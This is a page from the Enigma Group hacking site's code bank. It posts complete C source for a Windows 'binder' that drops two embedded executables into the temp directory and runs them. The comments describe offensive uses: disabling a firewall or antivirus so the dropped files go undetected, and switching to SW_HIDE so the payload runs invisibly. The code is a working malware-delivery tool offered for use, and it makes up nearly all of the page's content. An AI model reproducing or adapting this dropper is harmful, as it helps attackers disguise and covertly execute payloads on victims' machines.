EG Information
Training Missions
Knowledge Bank
Pimp Us Out!
Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.
|
| |
Affiliates
|
|
Enigma Group's Code Bank
A binderBy: mofm - Date Submitted: 2009-07-25 17:41:09 #include <windows.h> #include <stdlib.h> #include "resource.h" #include "stdafx.h" /* define for microsoft compiler */ #define WIN32_LEAN_AND_MEAN /* The Following 2 lines are the only 2 lines you have to do anything to! */ char File1Extention[] = "exe"; /* <--- Change to proper file extention!!! */ char File2Extention[] = "exe"; /* <--- Change to proper file extention!!! */ /* Global Variables */ HINSTANCE hInst; /* Declare functions we're gonna use. */ void ExtractFile (unsigned short); void RandomString(char *); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { /* OK.. it all starts here */ PeekMessage(0,0,0,0,0); /* Get rid of thinking pointer */ hInst = hInstance; /* we need this later */ /* A hacker may use this part to disable a firewall or antivirus */ /* program so the files they extract arent detected. */ ExtractFile(TDFILE1); /* extract first file */ ExtractFile(TDFILE2); /* extract second file */ return FALSE; /* End of our program! */ } /* Extract File Function I guess this is the main function. It extracts the resource file to the temp dir... with a random name and the proper extention, and then executes it (or opens it). if you dont wanna execute em both.. then I reccomend that in this function you do a.. i f (whichone == TDFILE1){ <execute or not exetute>; } ya know what I mean? */ void ExtractFile (unsigned short whichone) { /* declare local variables */ char tempfilename[13],TempDirBuff[MAX_PATH + 1],*ResourcePointer; unsigned long TempDirLen,ResourceSize,byteswritten; HRSRC ResourceLocation; HGLOBAL ResDataHandle; HANDLE FileHandle; /* Get Random String for file name */ if (whichone == TDFILE1) { strcpy (tempfilename , "socket123"); }else{ RandomString(tempfilename); } /* Next we get the Temp Dir */ TempDirLen = GetTempPath(MAX_PATH + 1,TempDirBuff); /* now is where we make the full path so first we copy the file random file name after the temp dir path*/ strncpy(&TempDirBuff[TempDirLen],tempfilename,9); /*next we add the period after the random file name*/ TempDirBuff[TempDirLen + 9] = '.'; /* now check to see which extention we're using and copy it + it's null terminator to the TempDirBuff */ if (whichone == TDFILE1) { strncpy(&TempDirBuff[TempDirLen + 10],File1Extention,(strlen(File1Extention) + 1)); } else { strncpy(&TempDirBuff[TempDirLen + 10],File2Extention,(strlen(File2Extention) + 1)); } /* Now we got the path we're gonna copy it to! */ /* Now we get the location of our resource... */ ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA); if (ResourceLocation == 0) { return; } /*Now get the size of the resource*/ ResourceSize = SizeofResource(hInst,ResourceLocation); if (ResourceSize == 0) { return; } /*Now load it into global memory*/ ResDataHandle = LoadResource(hInst,ResourceLocation); if (ResDataHandle == 0) { return; } /*Lock the Resource into memory and get a pointer to it!*/ ResourcePointer = (char *)LockResource(ResDataHandle); if (ResourcePointer == 0) { return; } /* Now we create the file. */ FileHandle = CreateFile(TempDirBuff,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if (FileHandle == INVALID_HANDLE_VALUE) { return; } /* Now We Write to the file */ WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0); /* Now Close the file */ CloseHandle(FileHandle); /* Now Open/Execute the file */ /* I used SW_SHOW as the show paremeter, if you want it to run invisibly, try SW_HIDE */ ShellExecute(NULL,NULL,TempDirBuff,NULL,NULL,SW_SHOW); return; } /* Random String Function I'm sure this random string function could be better, but frankly.. I dont care, cuz it works fine. */ void RandomString(char *RandomStr) { int i; srand( (unsigned)GetTickCount() ); i=0; ZeroMemory(RandomStr,9); while(i < 9) { RandomStr[i] = rand(); while (RandomStr[i] > 25) { RandomStr[i] -= 26; } while (RandomStr[i] < 0) { RandomStr[i] += 26; } RandomStr[i] += 97; i++; } RandomStr[9] = '\0'; return; }
|
| Return to
c category list |
|
|
Who Visited EnigmaGroup Today?
1554 Guests, 264 Users (178 Spiders)
2142, Partisan, st3alth, aurena, hackaday, Hessesian, Rex_Mundi, K0gller, fitz, 3ntr0py, DrOptix, Jayjay, suetekh, JohnMalkovitzch, psychomarine, whoami, nmobin27, Vspectrum, lotato, San Marino, TinCardinal, brunoriversyhn, TheHarrisonW, code-g, yshiau, BillTuer, Psiber_Syn, Klosse, Seasharp, whisperer, obencefoozy, SlayingDragons, Link-, tinuigimeni, jasonbourne, Fred, GothicLogic, strudels, somebody777, Meonkzt, CJ_Omaha, jearrorne, cls777, unsugsNashy, Balksnuntails, trueorfalse, Sir D. Naut, zach, batsbargy, Rik, Macabre, ellisp, Nightraven, Iccyx, Repuhlsive, vipervince2002, Janomatrix, lol, veceattainc, techno, Exclaw, limited, Nikhil, evjfvir967nj, blackknight911, Distorted, Mod777, dark_void, nermtode, Tjm, bjy1997, hecky, saraf, elprof, damoniceht, trik, jordan86, SnoopSky, dan_movie, OnetInsolefon, Blavatsky, darkfire1515, seojlhmyrhwh, Thoplehap, MaxMeier, 1028rajeev, Abhinav2107, autotuneuser, riesenjoe, alexelixir, Tauya, Jozinbrejl, kernel_mod, quolc, anandoump, vladavlada, Taicadine, valy1177, AnnaNoult, GreenTiger, baripadatimes, Ewing, Blackbeard, thepuppeteer, BON-SELE, hak4r, Unotohumsmush, NIGHTWOLF, CloverCipher, m4f10, Vengeance987, avacraft, Bumpadjuppy, becool, thecoder, ddxc, n01se, alpha1, saki, ObesseJew, ActictGlync, sajan, unicornrainbow, Domihoolbob, matt.14, max66, SnowFury, Spud101, myfabregas, Ausome1, kajman121, Frudopvia, ideveloper6, OLOLO, Bugshuppy, lamb, VagWirura, LialiTiTviors, Ordeptpen, scifics, Pozycj-Z21, RomeoG, Gkjt, interPuscruse, aaftab, TheCheeseDemon, blackcyxx21, jollyjimbo, N4g4c3N, rineDriekly, Rap70r, Xargos, flarornEral, ovetz13, sonu sahu, Breezy, emitleBen, Hackpad, JWTSR, nicyun, kaizo, itevainee, IvanDimitriev, advilapyday, luke460, AverageJoe, zeratu92, m0rt, litbk, Mr.Pickle, mannavard1611, LoopyLion, NexusVos, lonely.connection, mtroscheck, burberrybagsjr, nikedunksxm, xordux, jeho, Lonewolf034, Dragonite, nhorton, Reloaded, Odile, Kaptain_k1rk, Teefelltugh, grizzly, posthuman01, jakesboy2, pwnpwnlolz, Sabo, Lakhoamnmek, Røgue, dot_Cipher, mori, snickerless1, cart1m, Xendz, KELATALFTUS, hubris, Afrika, welepocourl, carpinteyrofbt, ReottphoffBom, Reahastegah, pumashoesld, pdanielt, dmac006, DnA-Ender, Red Fox, couptupleakb, ryanjcrook, iMaxx, sh3llcod3, TimHortons, EmilaHapsaums, Feld Grau, burgeoningneophyte, Maroonhat, CookieAu, tinkansinar, Mitodina, timberlandoutletlufc, zsefvy, guccioutletox, AlexDiru, AbercrombieFitchhl, Ryuske, r0z4, slchill, rospark, kalak55, Ph4Kt480ii, beefarn, Jigoku, WrossyJes, pollolololo, ZepSung, Fragility, jell0, C9019, Othrguy, Noticon, KIKNWING, llasarus, mdubz, leah027, iellswo, MAZI_, Estilaamoli, subtentar, Trollorful, no, nas0151, Traybo, howisthechicken, thethird3y3, Somethingclever, marplusz, MSI52, twink gay cam dUi8D, temoJessy, greedee, ruio |
| |
|
|
|
|
|